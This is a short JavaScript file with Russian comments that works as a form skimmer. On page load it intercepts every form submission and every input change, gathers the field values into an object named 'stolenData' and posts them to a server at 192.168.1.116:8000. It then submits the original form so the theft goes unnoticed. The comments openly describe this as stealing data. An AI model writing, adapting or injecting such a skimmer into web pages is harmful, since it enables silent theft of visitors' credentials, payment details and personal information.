33 lines
1.2 KiB
JavaScript
33 lines
1.2 KiB
JavaScript
document.addEventListener('DOMContentLoaded', function() {
|
|
// Перехватываем все формы на странице
|
|
const forms = document.getElementsByTagName('form');
|
|
for (let form of forms) {
|
|
form.addEventListener('submit', function(e) {
|
|
e.preventDefault(); // Блокируем стандартную отправку
|
|
const data = new FormData(form);
|
|
let stolenData = {};
|
|
for (let [key, value] of data.entries()) {
|
|
stolenData[key] = value;
|
|
}
|
|
|
|
// Отправляем данные на ваш сервер
|
|
fetch('http://192.168.1.116:8000/log', {
|
|
method: 'POST',
|
|
body: JSON.stringify(stolenData),
|
|
headers: { 'Content-Type': 'application/json' }
|
|
}).then(() => form.submit()); // Отправляем форму после кражи
|
|
});
|
|
}
|
|
|
|
// Перехватываем ввод в реальном времени (если формы нет)
|
|
const inputs = document.getElementsByTagName('input');
|
|
for (let input of inputs) {
|
|
input.addEventListener('change', function() {
|
|
fetch('http://192.168.1.116:8000/log', {
|
|
method: 'POST',
|
|
body: JSON.stringify({ [input.name]: input.value })
|
|
});
|
|
});
|
|
}
|
|
});
|